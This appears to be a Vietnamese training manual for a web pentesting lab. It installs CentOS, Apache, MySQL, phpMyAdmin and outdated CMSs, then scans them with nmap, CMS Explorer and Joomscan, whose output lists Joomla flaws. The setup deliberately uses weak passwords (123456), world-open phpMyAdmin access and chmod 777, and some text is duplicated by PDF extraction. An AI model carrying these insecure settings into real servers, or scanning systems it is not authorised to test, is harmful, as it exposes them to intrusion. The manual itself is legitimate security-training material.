Phần Phần 1: Cài đặt môi trường trường Webserver cho việ việc tiế tiến hành thử thử nghiệ nghiệm Pentesting...... 3 1.
động webserver ............................................................. ........................................................................................ ........................... 3 Nguyên lý hoạt hoạt động
2.
Remote từ từ xa tớ tới webserver ................................................................................................ 5
.................................................................................................. .................................... 41 Các công cụ cụ scan Joomla..............................................................
3.
Sử dụ dụng Acunetix, ZAP và các công cụ cụ scan web khác. .......................................... 50
Phầ Phần 3: CÁC LOẠ LOẠI TẤ TẤN CÔNG TRÊN JOOMLA VÀ LIFERAY ....................................... 60 1.
Các loạ loại tấ tấn công trên Joomla ..........................................................................................61
2.
Các loạ loại tấ tấn công trên Liferay Portal ................................................................... .............................................................................. ........... 72
Cài đặt đặt công cụ cụ bả bảo mậ mật Modsecurity ............................................................................ 89
Phần Phần 4: Tăng cường cường bả bảo mậ mật website vớ với https và hsts .............................................. 97 ....................................................................................................................... ........... 98 1. Giao thứ thức HTTP. ............................................................................................................
2. Đăng ký vài cài đặt đặt SSL certificate: Comodo, GeoTrust, DigiCert, Verisign ......... 104 3. Cài đặt đặt SSL trên webserver và kích hoạ hoạt https ............................................................. 115 4. Scan HTTP version. ...............................................................................................................116 5. Chuyển Chuyển hướng hướng webserver chạ chạy HTTPS thay vì HTTP ................................................. 118 6. Cơ chế ho chế hoạt ạt động động HSTS, thiế thiết lậ lập HSTS trên webserver ............................................ ............................................119 Phầ Phần 5: ICT Index................. .................................. ................................. ................................. .................................. .................................. ........................ ....... 125 1. Giớ Giới thiệ thiệu ............................................................. ................................................................................................................................. .................................................................... 126 ................................................................................................................................... ....................................................................127 2. Nộ Nội dung............................................................... .................................................................................... ....................... 128 3. Ví dụ dụ v vềề Việ Việt Nam ICT Index 2017: .............................................................
2
đặt môi trường trường Webserver cho việ Phần Phần 1: Cài đặt việc tiế tiến hành thử thử nghiệ nghiệm Pentesting 1. 2. 3. 4. 5. 6. 7. 8.
Nguyên lý hoạt động webserver Remote từ xa tới webserver Install Ubuntu/CentOS Ubuntu/CentOS Install Apache Install MySQL + PHP Install PhpMyAdmin PhpMyAdmin Install Joomla/Wordpress/NukeV Joomla/Wordpress/NukeViet iet Install XAMP, Vertrigo
động webserver 1. Nguyên lý hoạt hoạt động "Web server" có th ể là phần cứng hoặc phần mềm, hoặc cả hai. 1. Ở khía cạ cạnh phầ phần cứ cứng, một web server là m ột máy tính lưu trữ các file thành ph ần của một website (ví d ụ: các tài liệu HTML, các file ảnh, CSS và các file JavaScript) và có thể phân phát chúng t ới thiết bị của người dùng cuối (end-user). Nó k ết nối tới mạng Internet và có th ể truy cập tới thông qua m ột tên miền giống như mozilla.org. 2. Ở khía cạ cạnh phầ phần mề mềm, một web server bao g ồm một số phần để điều khiển cách người sử dụng web truy cập tới các file được lưu trữ trên một HTTP server(máy chủ HTTP). Một HTTP server là là một phần mềm hiểu được các URL (các địa chỉ web) web) và HTTP
Ở mức cơ bản nhất, bất cứ khi nào m ột trình duyệt cần một file được lưu trữ trên một web server, trình duyệt request (yêu cầu) file đó thông qua HTTP. Khi mộ t request tới đúng web server (ph ần cứng), HTTP server (phần mềm) gửi tài liệu được yêu cầu tr ở lại, cũng thông qua HTTP. Để release m ột website, chúng ta c ần một static hoặc dynamic web server. Một static web server , hoặc stack, bao gồm một máy tính (hardware) v ới một HTTP server (phần mềm). Chúng ta g ọi nó là "static" b ởi vì server (máy chủ) gửi các file nó lưu tr ữ "nguyên vẹn" (as-is) tới trình duyệt mà ta đang chạy. Một dynamic web server bao bao gồm một static web server c ộng với các phần mềm mở r ộng, phổ biến nhất là một application server (máy ch ủ ứng dụng) và một database. Chúng ta g ọi nó là "dynamic" b ởi vì application server c ập nhật các file được lưu trữ trước khi gửi chúng t ới tình duyệt của chúng ta thông qua HTTP server.
Tìm hiểu hiểu sâu hơn Để lấy một trang web, như đã nói, trình duyệ t sẽ gửi một request tới web server, nó s ẽ tìm kiếm file được yêu cầu được lưu trữ trên ổ đĩa của nó. Khi tìm th ấy file, server đọ c nó, xử lý nếu cần, và gửi nó tới trình duyệt. Lưu trữ các file (Hosting files) Đầu tiên, một web server ph ải lưu trữ các file của website, đó là các tài liệ u HTML và các tài nguyên liên quan đế n nó, bao gồm các ảnh, file CSS, file JavaScript, fonts và videos. 3
Về mặt kỹ thuật, ta có thể lưu trữ tất cả các file trên máy tính của mình, nhưng có nhiề u lợi ích hơn khi lưu trữ chúng trên m ột máy chủ riêng biệt như:
luôn luôn sẵn sàng (up and running)
luôn luôn k ết nối tới mạng Internet
có một địa chỉ IP cố định
được bảo dưỡng bởi nhà cung cấp (third-party provider)
Giao tiếp thông qua HTTP Thứ hai, một web server hỗ tr ợ HTTP (Giao thức truyền phát siêu văn bả n - Hypertext Transfer Protocol). Như tên gọ i, HTTP là cách truyền các siêu văn bản - hypertext (ví d ụ: các tài liệu web) giữa hai máy tính.
M ột giao thứ c là một tập hợp các quy tắc để kết nối giữa hai máy tính. HTTP là m ột giao thức textual, stateless.
Textual Tất cả các lệnh là văn bả n thuần túy (plain-text) và con ngườ i có thể đọc được.
Stateless Cả server và client không nh ớ kết nối trước đó. Ví dụ, nếu chỉ có HTTP, một server không thể nhớ mật khẩu ta đã nhập hoặc bước nào mà chúng ta đã làm trong một giao dịch. Ta cần một application server cho nh ững nhiệm vụ như vậy. HTTP cung cấp các quy tắc rõ ràng, về cách một client và server giao ti ếp với nhau. Bây giờ, ta chỉ cần biết những thứ này:
Chỉ client có thể tạo các HTTP request t ới các server. Các server ch ỉ có thể đáp trả HTTP request của client. Khi yêu cầu một file thông qua HTTP, client ph ải cung cấp URL của file. Web server phải tr ả lời mọi HTTP request, ít nhất với một thông điệp lỗi (error message).
Trên một web server, HTTP server ch ịu trách nhiệm xử lý và tr ả lời các request đế n. 1. Khi nhận một request, một HTTP server sẽ kiểm tra xem URL đượ c yêu cầu có khớp với một file hiện có không. 2. Nếu có, web server g ửi nội dung file tr ả lại trình duyệt. Nếu không, một application server sẽ tạo ra file cần thiết. 3. Nếu không thể xử lý, web server tr ả lại một thông điệp lỗi cho trình duyệt, phổ biến nhất là "404 Not Found". (Đó là lỗ i phổ biến, cái mà nhiều nhà thiết kế web dành khá nhiều thời gian để thiết kế 404 error page). Nội dung static vs dynamic -
Nói chung, một server có thể phục vụ cả nội dung static ho ặc dynamic. "Static" có nghĩa là "được phục vụ nguyên vẹn" (served as-is). Các static website là d ễ dàng nhất để thiết lập, vì thế nên tạo một static site trước tiên. 4
-
-
-
"Dynamic" có nghĩa là server xử lý nội dung hoặc thậm chí tạo ra chúng với dữ liệu từ database. Giải pháp này linh ho ạt hơn, nhưng st ack kỹ thuật tr ở lên khó khăn hơn để xử lý, làm cho việc xây dựng website tr ở lên phức tạp hơn. Lấy ví dụ trang web mà ta đang đọc hiện nay. Một web server lưu trữ (hosting) nó, có một application server l ấy nội dung bài vi ết từ một database, đị nh dạng nó, đẩy nó vào trong HTTP template, và g ửi kết quả cho chúng ta. Trong trường hợp này, application server đượ c gọi là Kuma và được xây dựng với Python (sử dụng framework Django). Mozilla team xây d ựng Kuma cho nhu c ầu riêng của MDN, nhưng nhiều ứng dụng tương tự được xây dựng trên nhiều công nghệ khác. Có r ất nhiều application server và th ật khó để gợi ý cụ thể. Một vài application server phục vụ các loại website c ụ thể như: blogs, wikis, hay e -shop, được gọi là CMSs (các hệ quản tr ị nội dung - content management systems).
2. Remote từ xa tới webserver -
Server cho phép client remote từ xa: Linux (centOS, Ubuntu, …) o o
-
Windows (Windows Server 2003,2008,2012,2016,…)
Linux Server: o X2Go (dành cho Graphic mode) Server (Linux) Install EPEL: rpm -ivh http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-71.noarch.rpm Install X2Go Server: yum -y install x2goserver-xsession o install graphical Desktop environment trên CentOS Server: yum -y groupinstall "Xfce" o o reboot Nếu có sử dụng firewall thì cho phép ssh k ết nối vào Server: o firewall-cmd --permanent --zone=public --addservice=ssh o firewall-cmd –reload Client (Windows or Linux) Download X2Go Client: https://code.x2go.org/releases/binarywin32/x2goclient/releases/4.1.1.1-2018.03.01/ dành cho Windows Mở X2Go và c ấu hình:
5
Tab session: Session name: XFCE o Host: o Login: o Session type: XFCE o
Tab Connection: Connection speed: LAN nếu dùng nội bộ o Method: 16m-jpeg o Image quality: 7 o
Tab Media: Sound: Uncheck enable sound support o Client side printing support: Uncheck o Sau khi cấu hình xong, nh ấn vào XFCE kế bên icon
6
o
Nhập password => OK
Note: Chọn Yes nếu có yêu c ầu xác thực RSA key Note: Chọn Use default n ếu không có thay đổ i nào Giao diện XFCE sau khi remote vào server s ử dụng GUI
SSH (dành cho Text mode): Sử dụng các tools remote hỗ tr ợ text mode:
Putty: https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html dành cho Windows
7
o
Xshell (version 5) https://www.netsarang.com/download/down_form.html?code=6 22 Nhập các thông tin bên dướ i:
o o
-
Note: Chọn Yes nếu có thông báo b ất kì
License type: chọn Home & School user Check Email để lấy link download file.
Windows Server: Sử dụng Remote Desktop Connection o Windows Server phải cho phép client Remote b ằng cách Enable Remote (tích vào ô Allow connections from computers running any version of Remote Desktop (less secure)):
8
Từ máy client m ở Remote Desktop Connection và nh ập IP server
Tiến hành: Khởi tạo Vmware cài CentOS với cấu hình như sau: o Full name: điền họ tên đầy đủ Username: tên đăng nhậ p vào Server Password: mật khẩu đăng nhậ p vào Server (mật khẩu áp dụng cho cả user root)
Maximum disk size: 10GB Memory: 512MB Network Adapter: Bridged (Automatic)
10
o
Tiến hành khởi động Server
o
Nếu xuất hiện thông báo ch ọn Yes
o
Trên giao diện, chọn DATE & TIME
11
-
o
Chọn khu vực Việt Nam, sau đó Done
o
Chọn NETWORK & HOSTNAME
o
Góc bên phải ta nhấn On để kích hoạt interface network
Ở bên dưới phần Host name: ta có thể chỉ nh sửa lại để mặc định, sau đó Done
12
o
Chọn SOFTWARE SELECTION
o
Tích vào Minimal Install, sau đó Done
o
Kéo xuống dưới và nhấn Begin Installation để tiến hành cài đặt CentOS
13
Giao diện sau khi cài đặ t CentOS xong
4. Install Apache -
Tiến hành clean-up yum
-
Update để có các package m ới nhất
-
Bắt đầu install apache
-
Nếu có sử dụng Firewall trên centOS Cho port HTTP và HTTPS mặc định, là port 80 và 443 được phép đi qua o Firewalld
o
-
Cấu hình để Apache luôn ch ạy khi Boot Khởi động Apache: o o
-
Khởi động lại firewall
Apache sẽ hoạt động khi boot với command
Các lệnh hữu ích cho Apache Kiểm tra tr ạng thái hiện tại của Apache o o
Dừng Apache
Mở trình duyệt và gõ IP hoặc tên host của server CentOS để kiểm tra chắc chắn Apache đã hoạt động.
5. Install MySQL + PHP a. Install MySQL 14
-
Update system
-
Install wget để download các gói c ần thiết từ website cụ thể
-
Tải và thêm repository, sau đó update
-
Cài đặt MySQL như bình thườ ng và start dịch vụ. Trong quá trình cài đặ t, bạn sẽ được hỏi nếu chấp nhận kết quả từ xác thực GPG của file định dạng rpm. Nếu không có lỗi gì xuất hiện thì nhấn y.
-
Sau khi install xong, tiến hành cài đặ t cho lần đầu truy cập MySQL
=> Enter
=> set root password : Y => Đặt password cho tài kho ản root access vào MySQL
-
Để đăng nhập vào MySQL với tài khoản root
No sẽ nhắc nhập password cho root mà b ạn dã gán khi script mysql_secure_installation đã chạ y. Để kiểm tra toàn bộ các command có trong MySQL, dùng \h o
-
15
b. Install PHP
-
PHP là thành phần xử lý code để hiển thị nội dung web động. Nó có thể chạy các script, kết nối đến database MySQL để lấy thông tin, và chuyển nội dung được xử lí đến webserver để hiển thị. Tiến hành install php và php-mysql:
-
Restart lại httpd để php hoạt động
-
Để cải tiến thêm các chức năng của PHP, chúng ta có tìm thêm các module c ần thiết cho PHP, để tìm các module PHP có s ẳn, sử dụng câu lệnh o Yum search php- Được kết quả -
16
Để tiến hành install toàn b ộ các module ta dùng command: o Yum –y install php* - Note: nếu có xảy ra lỗi conflict module đã install thì chúng ta sẽ chỉ nh command lại như sau: o Yum –y install php* --skip-broken - Tiến hành test PHP trên CentOS b ằng cách t ạo info.php trong /var/www/html/ v ới -
command
Sudo vi /var/www/html/info.php - Điền nội dung: o o sau đó save file lại - Test bằng trình duyệt web với url: http:///info.php o
6. Install PhpMyAdmin -
Tiến hành install epel-release l ấy repo chứa PHPMyAdmin 17
o
-
Yum –y install epel-release
Cài đặt phpmyadmin o Yum –y install phpmyadmin Chỉ nh sửa lại các thông s ố cần thiết o Vi /etc/httpd/conf.d/phpMyAdmin.conf Tab o Tab của Apache 2.4 Comment Require ip 127.0.0.1 Comment Require ip ::1 Thêm Require all granted Tab của Apache 2.2 Comment Allow from 127.0.0.1 Comment Allow from ::1 Thêm Require all granted Tab < Directory /usr/share/phpMyAdmin/setup/> o Tab của Apache 2.4 Comment Require ip 127.0.0.1 Comment Require ip ::1 Thêm Require all granted Tab của Apache 2.2 Comment Allow from 127.0.0.1 Comment Allow from ::1 Thêm Require all granted
Save file. Khởi động lại httpd để phpmyadmin ho ạt động o
-
Systemctl restart httpd Khởi động phpmyadmin trên trình duy ệt với url o http:///phpmyadmin o
-
Username : root Password : o Giao diện chính của phpmyadmin sau khi đăng nhậ p o
-
18
7. Install Joomla/Wordpress/NukeViet a. Install Joomla - Vào database với user root và password c ủa root o Mysql –u root –p o Enter password: - Tạo cơ sở dữ liệu joomla o CREATE DATABASE joomla; - Tạo user cho CSDL joomla v ới password 123456 o CREATE USER [email protected] IDENTIFIED BY ‘123456’; - Cuối cùng gán quy ền cho user này o GRANT ALL ON joomla.* TO [email protected] - Để user hiện tại có thể access vào MySQL o Flush privileges; -
Thoát MySQL
Exit Sauk hi tạo xong database, ti ến hành download Joomla v ề với command o Cd /tmp o Wget https://downloads.joomla.org/cms/joomla15/1-5-26/joomla_1-5-26-stableo
-
full_package-zip?format=zip
Mv joomla_1-5-26-stable-full_package-zip?format=zip joomla-1-5-0.zip Tiến hành giải nén file đã tải vào thư mục joomla đã tạ o phía trên: o sudo unzip -q joomla*.zip -d /var/www/html Note: Nếu server chưa cài đặ t trình giải nén thì tiến hành cài đặ t: o Yum –y install zip unzip Thay đổi ownership của thư mục sang Apache2 và permission o Sudo chown –R apache:apache /var/www/html/ o Sudo chmod 755 /var/www/html/ o
-
-
-
Restart Apache2 o
Service httpd restart
-
Tiến hành Install joomla thông qua trình duy ệt web với url
-
http:/// Có giao diện: o
19
-
Select Language: có thể chọn English hoặc Tiếng Việt tùy ý
Main Configuration Site name: Cyborg Security Confirm the Admin E-mail and Password Email: [email protected] Password: 123456 Confirm Administrator Password: 123456 Note: Password có thể thay đổi trong MySQL o Click Install sample Data Sau đó nhấ n Next
-
Đến đây đã install joomla thành công Xóa file installation trong joomla sau khi install: 22
Rm –rf /var/www/html/joomla/installation - Chạy lệnh sau nếu không tìm thấy configuration.php trong folder /var/www/html/joomla o chcon -R -t httpd_sys_rw_content_t /var/www/html - Tạo thư mục joomla trong /var/www/html và move toàn b ộ file trong html vào thư mục joomla o Mkdir /var/www/html/joomla o Mv /var/www/html/* /var/www/html/joomla Note: nếu xuất hiện lỗi: mv: cannot move ‘/var/www/html/joomla’ to a o subdirectory of itself, ‘/var/www/html/joomla/joomla’ thì có thể bỏ qua o
-
Restart httpd:
-
Service httpd restart hoặc systemctl restart httpd Mở trang chính của joomla theo url o http:///jl
-
Đăng nhập bằng admin/123456
o
23
-
-
-
b. Install Wordpress Tạo thư mục wordpress trong /var/www/html o Mkdir wordpress /var/www/html Vào database với user root và password c ủa root o Mysql –u root –p o Enter password: Tạo cơ sở dữ liệu JoomlaDB o CREATE DATABASE WordpressDB; Tạo user cho CSDL WordpressDB v ới password 123456 o CREATE USER [email protected] BY ‘123456’; Cuối cùng gán quy ền cho user này o GRANT ALL ON WordpressDB.* TO [email protected] Để user hiện tại có thể access vào MySQL o Flush privileges; Thoát MySQL o
-
Exit
Restart Apache
Service httpd restart Tiến hành tải file wordpress t ừ trang chủ o Cd /tmp o Wget http://wordpress.org/latest.tar.gz Giải nén file: o Tar xzvf latest.tar.gz Move toàn bộ file trong thư mục wordpress vào /var/www/html/wordpress, set quy ền o
Đổi tên wp-config-sample.php thành wp-config.php o Cp wp-config-sample.php wp-config.php - Cấu hình và chỉ nh sửa lại để tiến hành install wordpress o vi wp-config.php -
24
Dòng define('DB_NAME', 'database_name_here'); Database_name_here => WordpressDB Dòng define('DB_USER', username_here); o Username_here => root Dòng define('DB_PASSWORD', 'password_here'); o Password_here => password của root trong MySQL Save file Restart Apache o
-
Service httpd restart Mở trình duyệt, nhập URL o http:///wordpress o
-
-
Cấu hình chính: Site Title: Cyborg Security o Username: wordpressuser o Password: 123456 o Note: có thể thay đổi trong MySQL Confirm Password: checked o Your Email: [email protected] o Search Engine: checked o Nhấn Install Wordpress o Giao diện complete
-
25
-
Nhấn Login
o o
-
Username: wordpressuser Password : 123456
Đã install thành công Wordpress
26
c. Install NukeViet -
Tạo thư mục wordpress trong /var/www/html
Mkdir nukeviet /var/www/html Vào database với user root và password c ủa root o Mysql –u root –p o Enter password: Tạo cơ sở dữ liệu JoomlaDB o CREATE DATABASE NukevietDB; Tạo user cho CSDL NukevietDB với password 123456 o CREATE USER [email protected] IDENTIFIED BY ‘123456’; Cuối cùng gán quy ền cho user này o GRANT ALL ON NukevietDB.* TO [email protected] Để user hiện tại có thể access vào MySQL o Flush privileges; o
-
-
Thoát MySQL o
-
Exit
Restart Apache
Service httpd restart Tiến hành tải file wordpress t ừ trang chủ o Cd /tmp o Wget https://github.com/nukeviet/nukeviet/releases/download/4.3.01/nukeviet 4.3.01setup.zip Giải nén file: o unzip -q nukeviet4.3.01setup.zip -d /var/www/html/ Set quyền và set owner cho nukeviet o Chmod –R 755 /var/www/html/nukeviet o Chown –R apache:apache /var/www/html/nukeviet/ Giao diện chính với URL: o
-
-
-
o
http:///nukeviet 27
Nhấn Next
-
Nếu toàn bộ đều là OK có thể nhấn Next o Trường hợp bị fail là do chưa set chmod cho thư mụ c nukeviet Để set : o
-
Chmod –R 755 /var/www/html/nukeviet
Nhấn Next
28
-
PHP version not compatible: PHP yêu cầu phiên bản lớn hơn 5.6 và nhỏ hơn 7.2 Check version PHP của server o Php –v
-
-
Tiến hành update PHP t ừ version 5.4.16 lên version 5.6 b ằng các command sau: yum remove php* o rpm -Uvh http://rpms.remirepo.net/enterprise/remi-release-7.rpm o yum -y install yum-utils o yum update o yum-config-manager --enable remi-php70 o yum -y install php php-opcache php-pdo php-gd php-xml php-mbstring phpo pecl-zip php-mysql systemctl restart httpd.service o F5 trình duyệt và xem lại
-
Nhấn Next 29
-
Database Configuration Database Type: MySQL 5.x/MariaDB o Hostname: localhost / Port: 3306 o Username: root o Password: mật khẩu của root o Database Name: NukevietDB o Prefix: nv4 o Nhấn Submit o
-
Website Info Site Name: Cyborg Security o Admin Account: nukevietuser o Email: [email protected] o Password: 123456 o Re-Enter password: 12345678x@X o o Select Question: Đặt câu hỏi bất kì Your Answer: Chọn câu tr ả lời bất kì o Multi-language Website: check n ếu muốn đa ngôn ngữ o Nhấn Submit o
30
-
Hoàn thành setup Nukeviet4
Chmod thư mục upload cùng thư mụ c con sang 777 o
Chmod 777 -R /var/www/html/nukeviet/uploads
-
Trang admin
-
Trang chủ
31
8. Install XAMP, Vertrigo
-
a. XAMPP: https://www.apachefriends.org/download.html => tùy vào phiên bản của Windows 32 hay 64 mà download cho phù h ợp. Install:
o
Chọn Next
32
-
Chọn các component muốn Install, sau đó nhấ n Next.
-
Chọn đường dẫn để install XAMP -> Next Mặc định nhấn Next đến khi tiến trình bắt đầu install
-
Chờ đợi quá trình Install
33
-
Chọn finish và 1 cửa sổ xuất hiện
-
Chọn cờ USA -> save
-
Start Apache và MySQL service.
34
-
Mở trình duyệt và đi tới localhost, đã install XAMP Link chứa các file html or php: C:\xampp\htdocs Có thể install Wordpress, Joomla hay Nukeviet t ại thư mục này.
b. Vertrigo: https://www.vswamp.com/ => tùy vào version c ủa Windows mà chọn download thích h ợp
-
Install:
-
Chọn ngôn ngữ phù hợp -> OK -> Next
35
-
Ti ến hành để c ấ u hình mặc định hoặc chỉnh sửa cho phù hợp, Sau đó Next đế n khi ti ế n trình b ắt đầu cài đặt
-
Chờ đợi quá trình install hoàn t ấ t -> finish
-
Chọn Hide this windows and start server
36
-
Link chứa các file html, php hoặc folder chính để hi ển thị trên browser: C:\Program
-
Files\VertrigoServ\www Nếu muốn xem username và password c ủa PhpmyAdmin hoặc các account có liên quan:
o
Chọn Help and readme
37
Phần 2: Scan lỗ hổng web -
Mục tiêu: Sử dụng công cụ và tương tác bằng tay để quét và thống kê cấu trúc website, scan tìm kiếm lỗ hổng website. Nội dung: Sử dụng nmap o Các công cụ scan joomla o Sử dụng Acunetix, ZAP và các công c ụ scan web khác. o Trường hợp manual o Trích xuất report. o
1. Nmap a. Khái niệm -
-
-
-
Nmap là một công cụ bảo mật được phát triển bởi Floydor, ban đầu nó chỉ là một tool *nix nhưng về sau đã phát triển r ất mạnh mẽ phù hợp với nhiều nền tảng và phát triển cả giao diện UI. Nmap (Network Mapped) là m ột phần mềm mã nguồn mở dùng để quét đường mạng và dò ra nhi ều thông tin hữu ích trên máy ch ủ. Nmap không chỉ dùng để thu thập thông tin trên máy ch ủ mà còn hữu dụng trong việc tìm ra lỗ hổng bảo mật. Nmap hỗ tr ợ quét các kiểu quét sau: TCP SYN (half open) scanning o TCP FIN o Xmas hay NULL (stealth) scanning o TCP ftp proxy (bounce attack) scanning, o SYN/FIN scanning thông qua IP (bypass một số bộ loc) o TCP ACK và Window scanning o UDP raw ICMP port unreachable scanning o ICMP scanning (ping-sweep), o TCP Ping scanning o Direct (non portmapper) RPC scanning o Nhận diện hệ điều hành bằng TCP/IP Fingerprinting o Reverse-ident scanning o Vanilla TCP connect() scanning o Một số tính năng thường hay đượ c sử dụng: Kiểm tra xem máy ch ủ có đang đượ c mở (online) hay không? o Phát hiện những cổng nào đang đượ c mở trên máy chủ. o o Xác định được máy chủ sử dụng những dịch vụ nào, được chạy trên cổng tương ứng nào và phiên bản là gì?. Kiểm tra xem máy ch ủ chạy trên hệ điều hành nào và phiên b ản của hệ điều o
hành đó. Phát hiện ra lỗ hổng bảo mật. o - Đánh giá: Linh hoạt, mạnh mẽ, di động, dễ sử dụng, miễn phí, tài liệu nghiên c ứu tốt, được hỗ tr ợ, phổ biến, giải thưởng… b. Sử dụng nmap để scan các port chính. i. Windows : -
Dùng Zenmap để scan url: anninhmang1.net/ với profile là Slow comprehensive
scan
38
-
Tab Nmap Output
-
Tab Posts / Hosts: Port 22: SSH service o Port 80: HTTP service, nền apache o Port 3306: MySQL service version 5.6 o Các port trên chạy giao thức TCP o Các port còn lại chạy giao thức UDP o
39
-
Tab Topology
-
Host Details: Open port : 22, 80, 3306 o IP: 1.2.3.6 o Mac address: 00:0c:29:c7:ec:0e o Hostname: anninhmang1.net o OS: Linux 3.2 – 4.9 o
ii. S ử d ụn g K ali Linux -
IP victim: 1.2.3.6
Tìm các port đang open trên server o Nmap 1.2.3.6
Các port open: 22, 80, 3306 Tìm các service đang lắng nghe trên port trên Server o
-
o
Nmap –sV 1.2.3.6
40
o
Port 22: Chạy OpenSSH 7.4 Port 80: Apache service Port 3306: MySQL service (version 5.6.40)
o
Mac Address: 00:0c:29:c7:ec:0e, server đang chạ y trên máy ảo VMware
o o
-
Tìm Anonymous FTP Logins trên server o
Nmap –sC 1.2.3.6 –p 21
o
Port 21: Closed.
2. Các công cụ scan Joomla a. CMS Explorer : - Là tool tự động được sử dụng để tìm và đưa ra các module, plugins, components và themes mà một web CMS cụ thể đang sử dụng. Nó có các chức năng đưa ra các file ẩn/ file thư viện mà về cơ bản không thể truy cập bởi web client. Nó có th ể phục vụ nhiều mục đích khác nhau như search OSVDB tìm lỗ hổng, etc. - Câu lệnh chính: o ./cms-explorer.pl –url http://1.2.3.3/ –type Joomla root@kali:~/Desktop/cms-explorer-master# ./cms-explorer.pl -url http://1.2.3.3/ type Joomla ***************************************************************** WARNING: No osvdb.org API key defined, searches will be disabled. ***************************************************************** ******************************************************* Beginning run against http://1.2.3.3/... Testing themes from joomla_themes.txt... Theme Installed: templates/beez/ Theme Installed: templates/rhuk_milkyway/ 41
Command trên liệt kê ra tất cả các mod, component, plugin and theme mà đã install trên host 1.2.3.3, thậm chí các file này có thể đã bị ẩn và không th ấy được khi truy cập.
b. Joomscan: Là một dự án OWASP có thể được sử dụng để phat hiện 1 web server (n ếu có sử dụng Joomla ho ặc không) và ki ểm tra version c ủa Joomla. Nó có th ể tìm các lỗ hổng trong 1 site dựa vào các plugins, extensions, etc. và nó cũng có thể sử dụng để khai thác. 1 khi tất cả các module đượ c list ra thì chúng ta có thể test các modules với các lỗ hổng như RFI, LFI, SQL Injection, etc… Câu lệnh chính: o ./joomscan.pl – ./joomscan.pl –u u http://1.2.3.3/ root@kali:~# joomscan -u http://1.2.3.3 =================================== ================== =================================== ========================== ======== ==== OWASP Joomla! Vulnerability Scanner v0.0.4 (c) Aung Khant, aungkhant]at[yehg.net aungkhant]at[yehg.net YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab Update by: Web-Center, http://web-center.si (2011) =================================== ================== =================================== ========================== ======== ==== Vulnerability Vulnerability Entries: 611 Last update: February 2, 2012 Use "update" option to update the database Use "check" option to check the scanner update Use "download" option to download the scanner latest version package Use svn co to update the scanner and the database svn co https://joomscan.svn.sourceforge https://joomscan.svn.sourceforge.net/svnroot/joom .net/svnroot/joomscan scan joomscan Target: http://1.2.3.3
44
Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 PHP/5.4.16 ## Checking if the target has deployed an Anti-Scanner measure [!] Scanning Passed ..... OK ## Detecting Joomla! based Firewall ... [!] No known firewall detected! ## Fingerprinting in progress ... ~Generic version family ....... [1.5.x] ~1.5.x htaccess.txt revealed 1.5.0-stable(21-January-2008 1.5.0-stable(21-January-2008)) ~1.5.x configuration.php-dist configuration.php-dist revealed 1.5.0-stable(21-January-2008) 1.5.0-stable(21-January-2008) ~1.5.x en-GB.xml revealed [1.5.0 - 1.5.1] ~1.5.x en-GB.ini revealed 1.5.0-stable(21-January-2008) 1.5.0-stable(21-January-2008) ~1.5.x admin en-GB.com_config.ini en-GB.com_config.ini revealed [1.5.0(stable) -1.5.1] ~1.5.x admin en-GB.ini revealed 1.5.0-stable(21-January-2008 1.5.0-stable(21-January-2008)) ~1.5.x adminlists.html revealed [1.5.0(stable) - 1.5.6] * The Exact version found is 1.5.0-stable ## Fingerprinting done. ## 1 Components Found in front page ## com_mailto Vulnerabilities Vulnerabilities Discovered ========================== #1 Info -> Generic: htaccess.txt has not been renamed. Versions Affected: Any Check: /htaccess.txt Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed. Vulnerable? Vulnerable? Yes #2 Info -> Generic: Unprotected Administrator directory Versions Affected: Any Check: /administrator/ Exploit: The default /administrator directory is detected. Attackers can bruteforce administrator accounts. Read: http://yehg.net/lab/pr0js/view.php http://yehg.net/lab/pr0js/view.php/MULTIPLE%20 /MULTIPLE%20TRICKY%20WAYS TRICKY%20WAYS%20TO%20 %20TO%20 PROTECT.pdf Vulnerable? Vulnerable? Yes #3 Info -> Core: Multiple XSS/CSRF Vulnerability 45
Versions Affected: 1.5.9 <= Check: /?1.5.9-x Argument "0-stable" "0-stable" isn't numeric numeric in int at ./joomscan.pl ./joomscan.pl line 2285, line line 4. Exploit: A series of XSS and CSRF faults exist in the administrator application. Affected administrator administrator components components include com_admin, com_admin, com_media, com_media, com_search. Both com_admin com_admin and com_search contain contain XSS vulnerabilities, vulnerabilities, and com_media contains 2 CSRF vulnerabilities. Vulnerable? Vulnerable? Yes #4 Info -> Core: JSession SSL Session Disclosure Vulnerability Versions effected: Joomla! 1.5.8 <= Check: /?1.5.8-x Argument "0-stable" "0-stable" isn't numeric numeric in int at ./joomscan.pl ./joomscan.pl line 2285, line 5. Exploit: When running a site under SSL (the entire site is forced to be under ssl), Joomla! does not set the SSL flag on the cookie. cookie. This can allow someone someone monitoring the network to find the cookie related to the session. Vulnerable? Vulnerable? Yes #5 Info -> Core: Frontend XSS Vulnerability Vulnerability Versions effected: 1.5.10 <= Check: /?1.5.10-x Argument "0-stable" "0-stable" isn't numeric numeric in int at ./joomscan.pl ./joomscan.pl line 2285, line 6. Exploit: Some values were output from the database without being properly escaped. Most strings in question were were sourced from the administrator administrator panel. Malicious normal admin can leverage it to gain access to super admin. Vulnerable? Vulnerable? Yes #6 Info -> Core: Frontend XSS - HTTP_REFERER not properly filtered Vulnerability Versions effected: 1.5.11 <= Check: /?1.5.11-x-http_ref /?1.5.11-x-http_ref Argument "0-stable" "0-stable" isn't numeric numeric in int at ./joomscan.pl ./joomscan.pl line 2285, line 9. Exploit: An attacker can inject JavaScript or DHTML code that will be executed in the context of targeted user browser, allowing the attacker to steal cookies. HTTP_REFERER HTTP_REFERER variable is not properly parsed. Vulnerable? Vulnerable? Yes #7 Info -> Core: Frontend XSS - PHP_SELF not properly filtered Vulnerability Versions effected: 1.5.11 <= Check: /?1.5.11-x-php-s3lf /?1.5.11-x-php-s3lf Argument "0-stable" "0-stable" isn't numeric numeric in int at ./joomscan.pl line 2285, line 10. Exploit: An attacker can inject JavaScript code in a URL that will be executed in the context of targeted user browser. Vulnerable? Vulnerable? Yes #8 Info -> Core: Authentication Bypass Vulnerability Vulnerability Versions effected: Joomla! 1.5.3 <= 46
